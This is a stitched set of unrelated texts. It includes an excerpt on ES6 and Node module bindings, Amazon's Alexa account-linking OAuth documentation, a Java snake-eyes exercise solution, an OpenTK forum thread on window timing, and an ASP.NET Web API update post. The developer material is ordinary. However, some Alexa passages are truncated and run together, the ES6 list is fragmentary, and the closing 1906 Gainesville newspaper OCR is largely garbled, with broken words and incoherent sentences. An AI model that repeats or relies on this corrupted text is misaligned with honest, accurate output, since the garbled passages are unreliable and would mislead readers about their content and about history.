to differentiate between different actions: in one part of the application, you
send an action, like
{ type: 'USER_SAVED' } and in another you test for what
thing
action.type refers to. So it’s very important, when you’re using string constants,
that nobody mistyles
USER_SAVE instead.
As we discussed, Node modules share values not bindings: if you have a file
like
constants.js with the content:
module.exports.userSaved = 'USER_SAVED';
Another module could accidentally assign the value ‘USER_SAVED’ to a variable
with a
var binding and modify it:
var userSaved = require('./constants').userSaved; // Whoops, we reassign USER_SAVED here by using = instead // of ==. This will be a problem! if (userSaved = 'USER_SAVE') { // stuff }
In stark contrast, if you were using ES6 modules and had exported the binding
of
userSaved
of the type
const, this example wouldn’t compile:
import { userSaved } from './constants'; // Error here: we're reassigning a const! if (userSaved = 'USER_SAVE') { // stuff }
I’d love to clear up one other common point of confusion while I’m at it.
JavaScript’s syntax has become fancier, and has recently acquired three significantly
different places where the same code,
{ a }, in different contexts, means
significantly different things.
I call two of these syntax sugar. Syntax sugar is: syntax, or ways to write code, that are perfectly equivalent to some other code, usually longer code, but are shorter and more convenient. Syntax sugar is useful and convenient, but importantly doesn’t introduce any big new concepts: it’s just shortcuts.
ImportSpecfier)
ObjectPattern) - syntax sugar
ObjectProperty) - syntax sugar
So:
Import specifiers:
import { a } from 'a.js';
This is the way you import named exports from a module into another module.
The bindings you import will have whatever binding -
let,
var, or
const -
that they have in
a.js.
Destructuring assignment:
var anObject = { a: 2 }; var { a } = anObject;
This grabs the value of
a out of
anObject and binds it to the variable
a
with a
var binding.
People also often use destructuring assignment to get individual properties from Node modules.
var { a } = require('some-module');
Though this is in a really similar context to
import, it’s doing a totally different
thing: it’s taking the
a property from
some-module’s exports and binding
it to
a with a
var binding.
It is perfectly equivalent to:
var someModule = require('some-module'); var a = someModule.a;
Meaning: it is purely syntax sugar.
Object property shorthand:
var a = 2; var anObject = { a };
This is, like destructuring assignment, purely syntax sugar: it’s exactly equivalent to
var a = 2; var anObject = { a: a };
Just, shorter.
As I said, there are advantages and disadvantages to every technology choice: you might sacrifice simplicity for power, or make a bet on the future and it might work out and might not.
I hope that this at least it clear that ES6 modules aren’t just syntax sugar: they’re conceptually new in a way that you can’t easily replicate in Node modules. That, in fact, is one of the reasons why they’ve been slow to gain acceptance, but might also be a reason why they represent real change in how modularity in JavaScript works.
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Link an Alexa User with a User in Your System
Overview
Some skills require the ability to connect the identity of the end user with a user in another system. This is referred to as account linking, since the goal is to create a link between the Alexa user and the user account in your system. Skills that use the Smart Home Skill API must use account linking (with the authorization code grant flow) to connect the Alexa user with their device cloud account. Custom skills can use accounting linking if needed.
For example, suppose you own a web-based service “Car-Fu” that lets users order taxis. A custom skill that lets users access Car-Fu by voice (“Alexa, ask Car-Fu to order a taxi”) would be very useful. Completing this request requires the skill to access your Car-Fu service as a specific Car-Fu user. Therefore, you need a link between the Amazon account used with the Alexa device and the Car-Fu account for the user.
This document describes the supported methods for establishing this type of link between an Alexa user and a user in your system.
Note that account linking is needed when the skill needs to connect with a system that requires authentication. If your custom skill just needs to keep track of a user to save attributes between sessions, you do not need to use account linking. Instead, you can use the
userId provided in each request to identify the user. The
userId for a given user is generated when the user enables your skill in the Alexa app. Every subsequent request from that user to your skill contains the same
userId unless the user disables the skill.
- Overview
- How Account Linking Works
- Adding Account Linking Support to Your Login Page (Authorization URL)
- About Access and Refresh Tokens
- Adding Account Linking Logic to the Service for Your Skill
- Getting the Access Token from the Request (Custom Skills)
- Getting the Access Token from the Request (Smart Home Skills)
- Validating the Access Token
- Responding to an Invalid Access Token (Smart Home Skills)
- Responding to an Invalid or Non-existent Access Token (Custom Skills)
- When to Require a Valid Access Token
- Enabling Account Linking for a Skill in the Developer Portal
- Next Steps
How Account Linking Works
To connect an Alexa user with an account in your system, you need to provide an access token that uniquely identifies the user within your system. The Alexa service stores this token and includes it in requests sent to your skill’s service. Your skill can then use the token to authenticate with your system on behalf of the user.
Using account linking in the Alexa Skills Kit assumes some familiarity with the OAuth 2.0 authorization framework. Two OAuth authorization grant types are supported:
- Authorization code grant (for both custom skills and smart home skills)
- Implicit grant (for custom skills only)
The primary difference between these two types is in how the access token is obtained from your system. From the end user’s perspective, there is no difference.
OAuth Roles and the Alexa Skills Kit
OAuth 2.0 specifies four roles: resource owner, resource server, client, and authorization server. When using OAuth with the Alexa Skills Kit, these roles are defined as follows:
- Resource owner: the end user who wants to connect your skill with their user account in your system.
- Resource server: The server hosting the resources the user wants to access. This server is part of your system, and it must be able to accept and respond to requests using access tokens. In the Car-Fu example, this is part of the Car-Fu service. The protected resource is the user’s Car-Fu account profile.
- Client: The application making the requests to the resource server on behalf of the resource owner. In this context, this is the Alexa service.
- Authorization server: The server that authenticates the identity of the resource owner and issues access tokens. In the Car-Fu example, this is also part of the overall Car-Fu service.
Note that the resource server and authorization server can be the same server.
How End Users Set Up Account Linking for a Skill
Users link their accounts using the Amazon Alexa app. Note that users must use the app. There is no support for establishing the link solely by voice. Users can start the process:
- When initially enabling your skill in the app
- After making a request that requires authentication. In this case, your skill returns a
LinkAccountcard, and the user can start the process from the card in the Alexa app. Note that this scenario is possible for custom skills, but not smart home skills.
The specific flow varies depending on whether you are using implicit grant or authorization code grant, but the end-user steps are the same for both.
Account linking flow for authorization code grant (for use with smart home skills,
scope, and
redirect_urias
codefor the code a
code.
- Your service redirects the user to the specified
redirect_uriand passes along the
stateand
codein the URL query parameters.
- The Alexa service validates the returned information, then uses the
codeto request an access token and refresh token pair from your authorization server (specified in the Access Token URI field in the developer portal). Both of these items are saved for the Alexa user.
- The user’s Alexa account is now linked to the account in your service, and the skill is ready to be used.
Account linking flow for implicit grant (for use, and
scopeas
tokenfor the implicit an access token that uniquely identifies the user in your system.
- Your service redirects the user to the specified
redirect_uriand passes along the
state,
access_token, and
token_typein the URL fragment.
- The Alexa service validates the returned information and then saves the
access_tokenfor the Alexa user.
- The user’s Alexa account is now linked to the account in your service, and the skill is ready to be used.
What Happens when a User Invokes a Skill with Account Linking
When a user begins interacting with a custom skill that has been set up with account linking, the following occurs:
- The user invokes the skill normally. For example: “Alexa, ask Car-Fu to order me a taxi.”
- If using authorization code grant, the Alexa service makes sure that the access token saved for the user is still valid. If it has expired, the Alexa service uses the refresh token to request a new access token from your authorization server.
- The
LaunchRequestor
IntentRequestsent to the service for your skill includes the previously-saved access token for the user.
Your service validates that the token matches a user in your system:
If the token is valid for a user, your service accesses the user’s information as needed, completes the request normally, then sends back an appropriate response with the text to speak to the user and the optional card to display in the Alexa app.
For instance, in the Car-Fu example, the Car-Fu skill verifies that the provided token matches a valid Car-Fu user. If it does, the service can access the Car-Fu profile for that user and use that information to complete the user’s request for a car.
If the token is invalid, your service returns text telling the user to link their account and a
LinkAccountcard. The user can click the link on this card to start the account linking process:
Example of a LinkAccount card
The process is similar for smart home skills:
- The user invokes the skill normally. For example: “Alexa, turn on the living room lights.”
- The Alexa service makes sure that the access token saved for the user is still valid. If it has expired, the Alexa service uses the refresh token to request a new access token from your authorization server.
- The device directive sent to your skill adapter includes the previously-saved access token in the
payload.
- Your skill adapter passes along the token to the device cloud to complete the user’s request.
- If the token is valid, the device cloud completes the request normally and turns on the requested light.
- If the token is invalid, your skill adapter should return a
DependentServiceUnavailableError. Alexa then tells the user that she was unable to complete the request.
For more about device directives, see the Smart Home Skill API Reference.
What Happens if the User Disables a Skill with Account Linking
If the user disables the skill in the Alexa app, the Alexa service deletes the access token (and refresh token if applicable) associated with that user and skill. This essentially removes the link between the user’s Alexa account and their account in your service.
If the user later re-enables the skill, they will need to complete the account linking process as a new user.
What Do You Need to Add Account Linking to Your Skill?
To implement account linking in a skill, you need the following:
To add account linking to your skill, you must do the following:
- Add account linking support to the login page for your service.
- Add account linking logic to the cloud-based service (web service or Lambda function) for your skill.
- Enable account linking for your skill on the developer portal.
See the sections below for details about these steps.
Adding Account Linking Support to Your Login Page (Authorization URL)
When a user starts the process of linking accounts, the Alexa app displays a login page for your resource server. You need to design and code a page appropriate for this purpose. The page needs to validate the user’s credentials and then return either an access token or authorization code.
You provide the URL for this page in the Authorization URL field when enabling account linking for your skill in the developer portal.
Providing the Login Page in the User’s Language
The Alexa app attempts to use the user’s browser language preference to display a localized version of the app if the user’s browser is set to one of the supported languages (
en-us,
en-gb, or
de-de). For other languages, the app defaults to
en-us.
For a consistent user experience, your login page should also render in the same language as the Alexa app. To get the language, check the
Accept-Language header first. The Alexa app attempts to set this when calling your Authorization URL.
If the header is not set, you can use the language defined by the user’s browser by checking
navigator.language or
navigator.browserLanguage. See Navigator language Property.
Note that the user’s browser settings are independent of the language defined on the user’s Alexa-enabled device. For example, a user could configure their device to use German, but configure their browser to use UK English. In this case, the Alexa app renders in English and the
Accept-Language header is set to English (
en-gb).
Parameters Passed to Your Authorization URL
The Alexa app includes the following parameters in the URL query string when it calls your Authorization URL:
stateis used internally by the Alexa service to track the account linking process.
Your page must pass this value back (unchanged) when calling the redirect URL.
client_idis an identifier defined by you. You can use this to provide any skill-specific functionality, such as distinguishing between different skills you have configured with account linking. You define your
client_idwhen enabling account linking for your skill in the developer portal.
- The
response_typevalue depends on whether you are using authorization code grant or implicit grant.
codefor authorization code grant.
tokenfor implicit grant.
scopeis an optional list of scopes indicating the access the Alexa user needs. You define these scopes when enabling account linking for your skill in the developer portal.
- You can use this information when generating the access token. For example, you could create a token that allows access to basic profile information in your resource server, but does not allow access to payment information.
- Multiple scopes can be used. The list is delimited by URL-encoded spaces.
- You may want to also tell users what access they are allowing by linking their accounts. For instance, your login page could display text such as “This allows the Car-Fu skill to order a taxi on your behalf and charge your account for the cost.”
redirect_uriis the Amazon-specific redirect URL (OAuth Redirection Endpoint) to which your service should redirect the user after authenticating the user. The values you can expect for this parameter are also displayed on the developer portal when you configure account linking, so you can verify that the URL is valid.
For example, if the authorization URL for your page is, the URL called by the Alexa app might look like this (for authorization code grant):
Requirements for Your Login Page
Your login page should meet the following requirements:
- It must be served over HTTPS.
- It must be mobile-friendly, as it will be displayed within the Alexa app.
- The page cannot open any pop-up windows.
- It must accept the user’s credentials and then authenticate the user.
- It must either:
- Generate an access token that uniquely identifies the user to your resource server.
- Generate an authorization code that can be passed to your authorization server to retrieve an access token.
- It must keep track of the
statevalue passed in the query string.
- After authenticating the user, the page must redirect the user to one of two Amazon-provided redirect URLs.
- The redirect URL you use is included in the authorization request as the
redirect_uriparameter.
- Two redirect URLs are also displayed in the developer portal when you turn on the account linking options for your skill, so you can see the possible values your login page should expect in the
redirect_uriparameter.
- For authorization code grant, include the
state, and
codein the URL query string.
- For implicit grant, include the
state,
access_token, and
token_typein the URL fragment. The
token_typeshould be
Bearer.
For example, assume your Amazon-provided redirect URL is the following:
For authorization code grant, the redirect URL might look like this:
The parameters you must pass back (
state and
code) are in the query string portion of the URL.
For implicit grant, the redirect URL might look like this:
The parameters you must pass back (
state,
access_token, and
token_type) are in the URL fragment portion of the URL. This is the portion after the hashtag (
#).
About Access and Refresh Tokens
Your authorization server needs to provide an access token that uniquely identifies a user in your system.
For authorization code grant, the Alexa service calls your authorization server (specified as the Access Token URI in the developer portal) and passes the
code and client credentials. The authorization server must return the access token and an optional refresh token. Although the refresh token is optional, it is recommended if your access token expires. The Alexa service can use the refresh token to get a new access token when the previous one expires, without disrupting the end user.
For implicit grant, your login page includes the access token when calling the redirect URL, as shown in the redirect URI examples above. Implicit grant does not support refresh tokens, so if the token expires, the end user will need to re-link the accounts. If you want to use expiring tokens, use authorization code grant instead.
For either type, when generating the access token, provide a token specific to your resource server. Do not use access tokens provided by other OAuth providers such as Google or Facebook. For security, your token should be a value that identifies the user, but cannot be guessed.
Adding Account Linking Logic to the Service for Your Skill
To add account linking to your skill, you need to code the logic to verify and use the access token included in requests sent to your skill.
Getting the Access Token from the Request (Custom Skills)
When using the Java library, the access token is available in the
Session object passed to the
onIntent(),
onLaunch(), and
onSessionEnded() methods. You can use the
Session.getUser() method to retrieve a
User, then call
User.getAccessToken() to get the token.
In the JSON, the access token is available in the
accessToken property of the
user object in the request:
{ "version": "string", "session": { "new": boolean, "sessionId": "string", "application": { "applicationId": "string" }, "attributes": { "string": object }, "user": { "userId": "string", "accessToken": "string" } }, "request": object }
Getting the Access Token from the Request (Smart Home Skills)
The access token is sent to your skill adapter as part of the device directive, in the
accessToken property of the
payload object.
For example, note this
DiscoverAppliancesRequest directive:
{ "header": { "namespace": "Alexa.ConnectedHome.Discovery", "name": "DiscoverAppliancesRequest", "payloadVersion": "2", "messageId": "6d6d6e14-8aee-473e-8c24-0d31ff9c17a2" }, "payload": { "accessToken": "string" } }
Validating the Access Token
For a request that requires authentication, your code should do at least two checks:
Validate that the
accessTokenexists (custom skills only).
In the Java library,
User.getAccessToken()returns
nullif the user has not successfully linked their account.
In the JSON, the
accessTokenproperty does not exist if the user has not linked their account.
Note that this check does not apply to smart home skills. It is not possible to enable a smart home skill without also successfully linking the accounts.
If the
accessTokenexists, verify that it is valid and identifies a user in your resource server. An existing token could become invalid for multiple reasons, for example:
- The user deleted or canceled their account with your service. For example, an Alexa user might have set up account linking with Car-Fu, then later canceled their Car-Fu account. At this point, the token stored by the Alexa service would identify a non-existent user.
- The token has expired, and the Alexa service was unable to obtain a new token. This can occur when using authorization code grant if your authorization server does not provide refresh tokens. This can also occur if you are using the implicit grant authorization, which does not support refresh tokens.
If the token is valid, the skill can handle the request normally, accessing data from your resource server as needed. In the Car-Fu example, the skill would retrieve profile and payment information for the user from the Car-Fu service, order a car, and return a confirmation to the user. See the “Returning a Response” section of Handling Requests Sent by Alexa for more about returning responses.
Responding to an Invalid Access Token (Smart Home Skills)
If the access token sent to your skill adapter for a smart home skill is invalid, return a
DependentServiceUnavailableError. Alexa then tells the user that she was unable to complete the request.
Responding to an Invalid or Non-existent Access Token (Custom Skills)
If the access token sent to your custom skill does not exist or is invalid, your skill should return a response containing the following:
- Output speech text explaining to the user that they need to link their account to use this feature.
- A link account card. This is a special type of card that tells the user to link their account. When displayed in the Alexa app, this card displays a link to the URL for your login page. The user can start the account linking process right from this card.
To send the link account card:
- When using the Java library, create an instance of the
LinkAccountCardclass and include it as the card in your response.
When using JSON, set the card
typeto
LinkAccount:
{ "version": "1.0", "sessionAttributes": { ...(session attributes not shown) }, "response": { "outputSpeech": { "type": "PlainText", "text": "You must have a Car-Fu account to use this skill. Please use the Alexa app to link your Amazon account with your Car-Fu Account." }, "card": { "type": "LinkAccount" }, "shouldEndSession": true } }
In most cases, this response should end the session, since the user cannot continue with their request until after they have linked their account. If your skill includes some intents that don’t require authentication, it may make sense to ask the user a different question and keep the session open.
When to Require a Valid Access Token
Your service should validate the
accessToken for every request that requires the user to authenticate with your web site.
For a smart home skill, this includes every directive.
For a custom skill, this usually includes most intents, but you can have intents that don’t require authentication. For example, the Car-Fu custom skill might require user authentication to order a car, but does not require authentication to just ask whether the service is available in a particular city. Therefore, the code for this skill might do the following:
- The handler for an
OrderTaxiintent would check for a valid
accessTokenand use that token to retrieve the user’s Car-Fu profile and order a car.
- The handler for a generic
TaxiAvailabilityByCityintent would not need to check for an
accessToken, but would look up public information on the Car-Fu service and return a response.
Enabling Account Linking for a Skill in the Developer Portal
You enable account linking on the Configuration page in the Amazon Developer Portal.
After registering your skill on the portal normally, navigate to the Configuration page and select Yes for Account Linking or Creation. Note that this option is not displayed for smart home skills, since account linking is always required.
At a minimum, you must enter the following to enable account linking:
- Authorization URL: The URL for your web site’s login page. Refer back to Adding Account Linking Support to Your Login Page for information about how this page is used when users link their accounts.
- Client Id: An identifier your login page uses to recognize that the request came from your skill. This value is passed to your authorization URL in the
client_idparameter. When using authorization code grant, this value is also part of the client credentials that the Alexa service includes when requesting an access token from the Access Token URI.
- Authorization Grant Type: The type of OAuth 2.0 authorization grant to use to obtain the access token. The Alexa Skills Kit supports two grant types:
- Implicit grant (custom skills)
- Authorization code grant (custom skills or smart home skills)
- For Authorization Code Grant, you must also fill in the following:
- Access Token URI: The URL for the authorization server that provides the access tokens.
- Client Secret: A credential you provide that lets the Alexa service authenticate with the Access Token URI. This is combined with the Client Id to identify the request as coming from Alexa.
- Client Authentication Scheme identifies the type of authentication Alexa should use when requesting tokens from the Access Token URI.
- Privacy Policy URL: A URL for a page with your privacy policy. This link is displayed in the Alexa app. This is required for skills that use account linking. Note that the URL you enter is also shown in the Privacy Policy URL field on the Privacy & Compliance page.
If your login page retrieves content from other domains, enter those in the Domain List. This is only necessary for domains beyond your authorization URL. For example, suppose your authorization URL is. If your page pulls in any content (such as images) from domains other than, you would add them to the Domain List.
If your resource server supports different scopes for access, enter those in the Scope list. All of the scopes entered here are included in the
scope parameter when the Alexa app calls your authorization URL.
Redirect URL Values
Enabling account linking displays your Redirect URL. This is the URL to which your login page must redirect the user after they are authenticated. This value is also passed to your login page as the
redirect_uri parameter included with the Authorization URL.
Note that there are multiple Redirect URL values. The Alexa app passes your Authorization URL the value you should use based on where the user registered their device.
redirect_uriparameter.
The parameters your page needs to include when redirecting the user after authentication depend on the whether you are using authorization code grant or implicit grant. Refer back to Requirements for Your Login Page.
Next Steps
Coding topics (custom skills):
- Handling Requests Sent by Alexa
- Including a Card in Your Skill’s Response
- Implementing the Built-in Intents
- Configure Permissions for Customer Information in Your Skill
- Use Customer Information in Your Skill
- Define Skill Metadata
Other topics:
- Next: Testing a Custom Skill
- Return to: Steps to Build a Custom Skill
Reference materials:
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https://developer.amazon.com/docs/custom-skills/link-an-alexa-user-with-a-user-in-your-system.html
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Solution for
Programming Exercise 3.1
THIS PAGE DISCUSSES ONE POSSIBLE SOLUTION to the following exercise from this on-line Java textbook..
Discussion
Since we want to roll the dice at least once, a do..while is appropriate. A pseudocode algorithm for the program isLet countRolls = 0 do: roll the dice count this roll by adding 1 to countRolls while the roll is not snake eyes Output the value of countRolls
As in Exercise 2.2, we can simulate rolling one die by computing (int)(Math.random()*6) + 1.
We want to stop rolling the dice when the roll is a double 1. We want to continue rolling the dice while the roll is not a double 1. If die1 and die2 are variables representing the values of the dice, the condition for continuing to roll can be expressed aswhile ( ! (die1 == 1 && die2 == 1) )
The exclamation point means "not", so the condition says that it is not the case that both die1 is 1 and die2 is 1. That is, it is not the case that the dice came up snake eyes. Another way to express the same condition is that at least one of the dice is not 1, that is, that either die1 is not 1 or die2 is not 1. In java code, this is written:while ( die1 != 1 || die2 != 1 )
This is the test that I use in my program. Students often get the && and || operators mixed up, especially when negation is involved. (In this case, we could have avoided the problem by testing while (die1+die2 != 2).)
Filling in some details gives an algorithm that can be easily converted into a program:Let countRolls = 0 do: die1 = (int)(Math.random()*6) + 1 die2 = (int)(Math.random()*6) + 1 count this roll by adding 1 to countRolls while die1 is not 1 or die2 is not 1 Output the value of countRolls
The Solution
public class SnakeEyes { /* This program simulates rolling a pair of dice until they come up snake eyes. It reports how many rolls were needed. */ public static void main(String[] args) { int die1, die2; // The values rolled on the two dice. int countRolls; // Used to count the number of rolls. countRolls = 0; do { die1 = (int)(Math.random()*6) + 1; // roll the dice die2 = (int)(Math.random()*6) + 1; countRolls++; // and count this roll } while ( die1 != 1 || die2 != 1 ); System.out.println("It took " + countRolls + " rolls to get snake eyes."); } // end main() } // end class
[ Exercises | Chapter Index | Main Index ]
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http://math.hws.edu/eck/cs124/javanotes4/c3/ex-3-1-answer.html
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GameWindow Timing IssuePosted Sunday, 8 February, 2009 - 23:12 by flopoloco in
I remember being said that the next OpenTK version will include a new timing mechanism, anyhow, here's a test I made in current 0.9.1 .
using System; using System.Drawing; using System.Diagnostics; using OpenTK; using OpenTK.Graphics; namespace OpenTKTest { class Program : GameWindow { private Random random; private double nextTime, currentTime; private int r, g, b; public Program() : base(640, 480) { random = new Random(); } public override void OnLoad(EventArgs e) { } public override void OnUpdateFrame(UpdateFrameEventArgs e) { currentTime += e.Time; if (currentTime > nextTime) { nextTime =currentTime + 1; r = random.Next(0, 254); g = random.Next(0, 254); b = random.Next(0, 254); Trace.WriteLine(String.Format("Check on:\t {0}", currentTime.ToString())); } } public override void OnRenderFrame(RenderFrameEventArgs e) { GL.ClearColor(Color.FromArgb(255, r, g, b)); GL.Clear(ClearBufferMask.ColorBufferBit); SwapBuffers(); } public static void Main(string[] args) { using (Program program = new Program()) { program.Run(); } } } }
Trace results:
... Check on: 14,8649442999998 Check on: 15,8650569999998 Check on: 16,8651670999993 Check on: 18,2261955999991 Check on: 19,2262548999984 Check on: 20,226323599998 Check on: 21,2263256999972 Check on: 22,502357799997 Check on: 23,502364599998 Check on: 24,502434599999 Check on: 26,3859432999997 Check on: 27,3859854000009 Check on: 28,3860231000013 Check on: 29,3860308000011 Check on: 30,3860916000009
In 16 and 24 I was moving the application window (holding the mouse button) for a couple of seconds resulting a loss of one second (might break the application logic, I think I seen it in AirplaneWars example). So it's good to test it out in the SVN ;)
Re: GameWindow Timing Issue
For some reason, Windows stop sending events when you click & drag an application window. This causes all GameWindow processing to stop - no UpdateFrames, no RenderFrames, nothing gets through, until the window is released.
If anyone happens to know a workaround for this issue, please tell!
Re: GameWindow Timing Issue
Usually it is solved like this - when window recieves WM_ENTERSIZEMOVE message (it is entering window move or resize modal loop), then you create timer. And in timer callback you just do the usual thing when application is idle (update game logic, draw window content). And when window recieves WM_EXITSIZEMOVE message, then you kill this timer.
Read here:...
(ignore Direct3D stuff, search for A Bit of Polish section)
Re: GameWindow Timing Issue
Thanks for the link, I'll try to see how to this can fit in the current system.
Re: GameWindow Timing Issue
Keep up the good work :)
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http://www.opentk.com/node/650
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Some interesting updates were checked in over the last week. As in the previous update this is a sneak-peak of code checked into our CodePlex source code repository but hasn’t yet been released as part of our official installer. See Using Nightly ASP.NET Web Stack NuGet Packages for how to try out these features.
Per-Route Message Handlers
Support for per-route message handlers has been a popular request on our issues list. The issue is that HttpMessageHandlers is a flexible extensibility point for dealing with HTTP requests and responses but they are configured once per application within the HttpConfiguration. In some scenarios you have different needs for different services so a more flexible registration is needed.
Brad Wilson describes the per-route message handler feature thusly: The implementation of this feature allows users to specify the "final" message handler in the request chain for a given route. This will enable two scenarios:
- Support for adding message handlers on a per-route basis.
- Allow “ride-along” frameworks to use routing to dispatch to their own (non-IHttpController) endpoints.
To illustrate the change in the pipeline, this is what the pipeline looked like before this change:
The old HttpControllerDispatcher was in charge of
- Routing lookup (if not already done)
- Generating a 404 when no routes match
- Generate a 404 when no controllers match
- Dispatch to IHttpController
In the new pipeline we have split this into two handlers like this:
The new responsibilities are as follows:
- Routing lookup (if not already done)
- Generating a 404 when no routes match
- Dispatch to IHttpRoute.Handler (HttpControllerDispatcher by default when null)
- Generating a 404 when no controllers match
- Dispatch to IHttpController
What this means in practical terms is that, if you want to provide one or more message handlers on a per-route basis, those message handlers will have to run after routing has run (so, basically last), and if you want to preserve the dispatching to controllers, your final handler must delegate to HttpControllerDispatcher. To generate a message handler pipeline you can use the HttpClientFactory as described in the previous update.
As an example of how to use this, we introduce a simple “hello world” message handler that simply responds with a static HTTP response like this:
1: public class HelloWorldMessageHandler : HttpMessageHandler
2: {
3: protected override Task<HttpResponseMessage> SendAsync(
4: HttpRequestMessage request,
5: CancellationToken cancellationToken)
6: {
7: var response = request.CreateResponse(HttpStatusCode.OK, "Hello, world!");
8:
9: var tcs = new TaskCompletionSource<HttpResponseMessage>();
10: tcs.SetResult(response);
11: return tcs.Task;
12: }
13: }
We can now hook it in by adding a route with the new handler – in this case we use a self-host snippet:
1: class Program
2: {
3: static void Main(string[] args)
4: {
5: var config = new HttpSelfHostConfiguration("");
6:
7: IHttpRoute route = config.Routes.CreateRoute(
8: routeTemplate: "hello",
9: defaults: new HttpRouteValueDictionary("route"),
10: constraints: null,
11: dataTokens: null,
12: parameters: null,
13: handler: new HelloWorldMessageHandler());
14: config.Routes.Add("HelloRoute", route);
15:
16: config.Routes.MapHttpRoute(
17: name: "default",
18: routeTemplate: "api/{controller}/{id}",
19: defaults: new { controller = "Home", id = RouteParameter.Optional });
20:
21: var server = new HttpSelfHostServer(config);
22: server.OpenAsync().Wait();
23: Console.WriteLine("Listening on {0}...", config.BaseAddress);
24: Console.ReadLine();
25: server.CloseAsync().Wait();
26: }
27: }
If you now access you will get the response from HelloWorldMessageHandler and for requests under* you will get the regular Web API controllers. Because message handlers can be chained you can also insert the default HttpControllerDispatcher at the end – the opportunities are endless!
Reading Form Data
In addition to doing model binding in your ApiController actions where you get the form data directly as part of your action signature, you can parse form data throughout Web API (both client side and server side). Two common ways to get form data is either as a NameValueCollection or as a JToken which is the Json.NET LINQ to JSON data model. This commit rounds out the functionality by providing equal support for reading form data from a URI or from the body of an HTTP message.
Reading as NameValueCollection
You can read the query component of a URI as a NameValueCollection doing something like this (first line creates some sample content and the second line reads it):
Uri address = new Uri("[]=1&a[]=5&a[]=333"); NameValueCollection nvcUri = address.ParseQueryString();
Similarly you can read HTML form URL encoded data from an HttpContent which can be part of an HttpRequestMessage or HttpResponseMessage like this (first line creates some sample content and the second line reads it):
StringContent content = new StringContent("a[]=1&a[]=5&a[]=333",
Encoding.UTF8, "application/x-www-form-urlencoded"); NameValueCollection nvcContent = content.ReadAsFormDataAsync().Result;
In both cases will you get a NameValueCollection with one key (“a”) and three values (“1”, “5”, and “333”).
Reading as JObject
You can also read the query component of a URI as a JToken which is the Json.NET LINQ to JSON data model (we use the same sample URI as above):
JObject jObjectUri; address.TryReadQueryAsJson(out jObjectUri);
Similar you can read the HTML form URL encoded data from an HttpContent as JObject like this (we use the same sample content as above):
JObject jObjectContent = content.ReadAsAsync<JObject>().Result;
In both cases will you get a JObject which you can use to traverse the data as you wish.
Accepted Pull Requests
Finally we have accepted a set of pull requests – thanks for the contributions!
- Andre Azevedo: Correct unit tests by replacing culture
- Patrick McDonald: Modified System.Web.Mvc.RouteCollectionExtensions.MapRoute to work with dictionary defaults and/or constraints
- Patrick McDonald: Fixed RouteCollectionExtensions.MapRoute to work when defaults and constraints are dictionaries, currently method only works with anonymous types or similar
Have fun!
Henrik
What happened to ReadAsFormDataAsync? Did that not make it into RC?
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https://blogs.msdn.microsoft.com/henrikn/2012/05/03/asp-net-web-api-updates-may-3/
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: January 1, 1906:00006 Related Items Related Items: Gainesville daily sun (Gainesville, Fla. : 1903) Preceded by: Twice-a-week sun (Gainesville, Fla.) Full Text . . r V L T Vi w. .q ' . ' i br JJ4tflebXttE nn. Published Twice a Week--Monday and Thursday . . - --- - - - -- - - -- - - - -- - VOL. XXV. NO. .J :c (TAIXE rII. I E. r l.onIH.JOXIJA( \., JANl'AUV I I'.MMi; ONE DOLLAR A YEAS -. - - -- --- - -- - - - - LIST OF NAMES SELECTED. NO PHO.twUTION:;; FOR WALSH. BOY ATTEMPTED TD TWO MEN INDICTED --- JOINT STATEHOOD From Whom to Choose Successor to Shaw E>ciisea Chicago. Banker Because Archbishop Chappelie Other Bankers Vio'ate Laww.Mcawo. . MURDER GOVERNOR Galve tun. Tex. IKC. :!.. -T :e list BY FEDERAL JURY <* Isle ;;.Secretary of t*>. BITTERLY OPPOSED of nan4c' ;.-I, t It j. t.... j>rt<*.t* .ant T '::7)' >: a .- 41741 1.1 in tilt. c!ty liU <;;>. of t.... (*..t !io:U. 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Is to do a great wrona to *. lour tciueia! uf the dlix u u: di po.ltors. The violation! of that lawby auleta: mld their mark and theaol.e tate that !**:ton aud Cuurdal actinic I ) the people of the former territory. F Na.h, i'e:! one leak: l I. tto more than Uu s btendoiu broucht aHJI..r. a' tarles and under the name of the t la ulana| Stare who In racial antecedents. rellftiMsepreference by almu.Ir bank In the errant running to ti:w baron YOUNG STOWAWAY IS FOUND. J4i.an and. Truit 'oml..n of Nt,w Orleans and In.lust rial latersetaare Without a moment's. Citation an! ptirrha.e'.I Lout) acies of land l country. wholly unlike the Inhabitant ot oefore any one could: seize n'rn.! teyounic Was Nearly Dead When Discovered in \\lnnl par.sh.; lat. Art 91.So an acre. MERRYMAKING NOT STOPPED. New Mexico. New Mexico haa a pop man swal:owed the liquid In a Between Coffee Sacks l.:.ittol he land Into !land :<> feet u la tl.m Bufflclent to Justify ber tads(!.. at mall phial which be bad hid.len !In hUdencbt (;alveston.: Te. .. IK c. 3i .-\\'ltnoutfx square' and offered options nn blear Gardener Was Killed and Several sloe as a .ln.!e state and the people t ?.I hand.I f<'I* un'ozhC'1oU. and ,.l l nr water &n 1 with carc. : ..:lytnoush gluts: fur $:.. .-aeh down to i"c eac.iThi Thousand Dollars Damage Dene. of Arl.... among whom I bYe apevt . dial In a few minute : air to Jl"111ain" life, (':arl Jo-'ThKiuUck. option certificates. were madeto New \ iwk.. I.ec. :'v-|n Ixnorance of more than 25 years of my. 11fe. wovlJ a ) <>im,< tertian: ftnwaway" I rt-etiit: lottery tlck t.* and I c..r. tht. t ,; lo.!on w.ilch; bad shaken the. rather wait ten. years. for statehood 3 LUMBER PRICES ARE ADVANCED. 1': >'r.ir* of are. after >nff:>>rlr< In!.- lain priri.* ranclnc from Ztc to JJwe = hoft: > was uicre than a trivial affair. than be join...t In to New Mexico.In . fcr:halite: tortnr a for a tM'ri..1! o f neirl :e MilJ a* bait. t!i"- ['".>'h t>f Charle II. Mallory. at the rtent of joint statehood the Such Advice Are Received front St >' t.n .1..) *. was reini'M from hln\ 'r. Monthly lists punwirtitiic I.. be the It) ran.ah.er :,..t night. contlniKit vast Interests In Arizona would. be oaf.T . Louts Meeting.lfo to'la: {1101"1'I..n. In a narrow" *ptc* he. li.t> of .price L'l! for the oil lindwire .. their m. trim ''r' It was a-vertl hours ,ve.l and so controlled In the matter :' 'i.*on. TV* .. IX-c ;S>. -'Veaph1c : :: t".n' narku of r..ff':.-.. In the |Inner fcol.l sent lull to the piirrha"e" of (III. IrI''r th th ) learned fiiat; In the exioion of taxation by the grater popvlatloa aitlcfii receive I b> m'R1I..r. n! of t1 1:e Ma.loryim: '.r. (* the Sou'htm L.iiniM? ....clitlotv: are H.' wan Irm-II. itcc! 